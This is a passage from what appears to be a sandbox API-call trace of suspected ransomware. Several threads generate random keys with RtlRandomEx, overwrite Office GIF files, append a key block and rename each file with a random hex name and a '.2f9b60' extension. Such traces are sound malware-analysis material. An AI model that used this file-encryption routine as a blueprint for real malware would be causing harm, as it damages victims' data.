returned 0x4d793727 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x50a40fa8 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x35089467 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x56ac6e0a [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x63664ccc [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x7196940b [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x79d4f80d [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x23a05565 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x5b6aaab2 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x34938638 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x7fe1e3b6 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x23b13469 [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x465ac55c [0232.230] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x5763cc41 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x4dd5b2ad [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x4c61405c [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x29734a82 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x2459ae9 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x7d8a505c [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x66401dff [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x4da08fcc [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x59e43797 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x711baf1a [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x2323e923 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0xfb4a649 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x28ed4014 [0232.231] RtlRandomEx (in: Seed=0x2d74fab0 | out: Seed=0x2d74fab0) returned 0x325bdf0d [0232.238] ReadFile (in: hFile=0x2a48, lpBuffer=0x41e2a520, nNumberOfBytesToRead=0x143, lpNumberOfBytesRead=0x2d74fab0, lpOverlapped=0x0 | out: lpBuffer=0x41e2a520*, lpNumberOfBytesRead=0x2d74fab0*=0x143, lpOverlapped=0x0) returned 1 [0232.238] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.238] WriteFile (in: hFile=0x2a48, lpBuffer=0x41e22d00*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x2d74fab4, lpOverlapped=0x0 | out: lpBuffer=0x41e22d00*, lpNumberOfBytesWritten=0x2d74fab4*=0x143, lpOverlapped=0x0) returned 1 [0235.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0235.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae30 [0235.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ae30) returned 1 [0235.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e22d00) returned 1 [0235.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e2a520) returned 1 [0235.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c5c0) returned 1 [0235.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce619c0) returned 1 [0235.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205ae30 [0235.566] SetFilePointerEx (in: hFile=0x2a48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.566] WriteFile (in: hFile=0x2a48, lpBuffer=0x431e2220*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d74fbd0, lpOverlapped=0x0 | out: lpBuffer=0x431e2220*, lpNumberOfBytesWritten=0x2d74fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0236.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0236.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced79b0) returned 1 [0236.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0236.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72c0 [0236.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced72c0) returned 1 [0236.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.862] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="c6") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="ae") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="77") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="7a") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="1e") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="e6") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="24") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="30") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="03") returned 2 [0236.862] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="bc") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="01") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="eb") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="51") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="20") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="11") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="da") returned 2 [0236.863] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.863] RtlInitAnsiString (in: DestinationString=0x2d74fc48, SourceString="7fc64aae77e87a0dd91ee62430e703e5bc01eb512011da6d" | out: DestinationString="7fc64aae77e87a0dd91ee62430e703e5bc01eb512011da6d") [0236.863] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d74fc18, SourceString="7fc64aae77e87a0dd91ee62430e703e5bc01eb512011da6d", AllocateDestinationString=1 | out: DestinationString="7fc64aae77e87a0dd91ee62430e703e5bc01eb512011da6d") returned 0x0 [0236.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fde0 [0236.864] wcscat (in: _Dest=0x431cc020, _Source="7fc64aae77e8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7fc64aae77e8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7fc64aae77e8" [0236.864] wcscat (in: _Dest=0x431cc020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7fc64aae77e8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7fc64aae77e8.2f9b60" [0236.864] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7fc64aae77e8.2f9b60", NtPathName=0x2d74fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7fc64aae77e8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e4460 Thread: id = 3893 os_tid = 0xe00 [0229.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif")) returned 0x20 [0230.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF", dwFileAttributes=0x20) returned 1 [0231.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde4 [0232.242] GetFileSizeEx (in: hFile=0xde4, lpFileSize=0x37fdf7a0 | out: lpFileSize=0x37fdf7a0*=1154) returned 1 [0232.242] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x47e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.243] ReadFile (in: hFile=0xde4, lpBuffer=0x37fdf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37fdf768, lpOverlapped=0x0 | out: lpBuffer=0x37fdf720*, lpNumberOfBytesRead=0x37fdf768*=0x4, lpOverlapped=0x0) returned 1 [0232.247] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0232.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0232.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0232.248] NtQuerySystemTime (in: CurrentTime=0x37fdf660 | out: CurrentTime=0x37fdf660*=132462178362382000) returned 0x0 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x657a353e [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x69524702 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x4b446211 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x583038f3 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x4765b508 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x9cfc01b [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x3c8e6fd6 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x678dff66 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x61e0a82 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x7e2da81c [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x2c3a90d0 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x4b5a1bc3 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x3fc05cd8 [0232.248] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x2b15792d [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x20c201d1 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x4f7de3c7 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x5627acbe [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x2cc59508 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x40544a5c [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x3189f5a4 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x74e9e601 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x295d59e3 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x29bc93f3 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x23aef91b [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x156f3dc2 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x24328ab8 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x27e46a51 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0xc0dafe0 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x5091edc8 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x2957f557 [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x430e4eed [0232.249] RtlRandomEx (in: Seed=0x37fdf650 | out: Seed=0x37fdf650) returned 0x36996ee [0232.257] ReadFile (in: hFile=0xde4, lpBuffer=0x41e1f0f0, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x37fdf650, lpOverlapped=0x0 | out: lpBuffer=0x41e1f0f0*, lpNumberOfBytesRead=0x37fdf650*=0x482, lpOverlapped=0x0) returned 1 [0232.257] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.257] WriteFile (in: hFile=0xde4, lpBuffer=0x41e40d80*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x37fdf654, lpOverlapped=0x0 | out: lpBuffer=0x41e40d80*, lpNumberOfBytesWritten=0x37fdf654*=0x482, lpOverlapped=0x0) returned 1 [0235.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0235.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab00 [0235.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab00) returned 1 [0235.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e40d80) returned 1 [0235.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e1f0f0) returned 1 [0235.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0235.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0235.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205ab00 [0235.560] SetFilePointerEx (in: hFile=0xde4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.560] WriteFile (in: hFile=0xde4, lpBuffer=0x431e2100*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x37fdf770, lpOverlapped=0x0 | out: lpBuffer=0x431e2100*, lpNumberOfBytesWritten=0x37fdf770*=0x10a, lpOverlapped=0x0) returned 1 [0236.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0236.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ff0) returned 1 [0236.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0236.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267110 [0236.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267110) returned 1 [0236.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.855] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="68") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="cf") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="00") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="ca") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="75") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="29") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="7e") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="23") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="90") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="94") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="78") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="44") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="19") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="5a") returned 2 [0236.855] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="01") returned 2 [0236.855] RtlInitAnsiString (in: DestinationString=0x37fdf7e8, SourceString="68d2cf00ca6d752f29f0d57e231c90dca59478447d195a01" | out: DestinationString="68d2cf00ca6d752f29f0d57e231c90dca59478447d195a01") [0236.855] RtlAnsiStringToUnicodeString (in: DestinationString=0x37fdf7b8, SourceString="68d2cf00ca6d752f29f0d57e231c90dca59478447d195a01", AllocateDestinationString=1 | out: DestinationString="68d2cf00ca6d752f29f0d57e231c90dca59478447d195a01") returned 0x0 [0236.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fd70 [0236.856] wcscat (in: _Dest=0x431cbf80, _Source="68d2cf00ca6d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\68d2cf00ca6d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\68d2cf00ca6d" [0236.856] wcscat (in: _Dest=0x431cbf80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\68d2cf00ca6d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\68d2cf00ca6d.2f9b60" [0236.856] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\68d2cf00ca6d.2f9b60", NtPathName=0x37fdf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\68d2cf00ca6d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e43a0 Thread: id = 3894 os_tid = 0x1b6c [0229.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif")) returned 0x20 [0230.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF", dwFileAttributes=0x20) returned 1 [0231.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d00 [0231.679] GetFileSizeEx (in: hFile=0x1d00, lpFileSize=0x34b5f7c0 | out: lpFileSize=0x34b5f7c0*=1154) returned 1 [0231.679] SetFilePointerEx (in: hFile=0x1d00, liDistanceToMove=0x47e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.679] ReadFile (in: hFile=0x1d00, lpBuffer=0x34b5f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34b5f788, lpOverlapped=0x0 | out: lpBuffer=0x34b5f740*, lpNumberOfBytesRead=0x34b5f788*=0x4, lpOverlapped=0x0) returned 1 [0231.702] SetFilePointerEx (in: hFile=0x1d00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0231.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264800 [0231.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0231.703] NtQuerySystemTime (in: CurrentTime=0x34b5f680 | out: CurrentTime=0x34b5f680*=132462178356922000) returned 0x0 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x17c7703 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x65031ffb [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0xb22d250 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x77936b9f [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x5bb44a6a [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x1102285b [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x66506ade [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x6993e48b [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x56943a66 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x28c80655 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x71ecc8f2 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x56803fe1 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x3011c2d4 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x56943a66 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x2c9fe29c [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x439a5552 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x218b9703 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x65031ffb [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x74ab241c [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x272ec7fd [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x628d9e6e [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x17453ff5 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0xa9ab82 [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x122e159b [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x465aa7cb [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x628d9e6e [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x4bf775bb [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x473c22fe [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0xfd63b1b [0231.703] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x39e33de1 [0231.704] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0xda03374 [0231.704] RtlRandomEx (in: Seed=0x34b5f670 | out: Seed=0x34b5f670) returned 0x30d34af5 [0231.710] ReadFile (in: hFile=0x1d00, lpBuffer=0x42655d20, 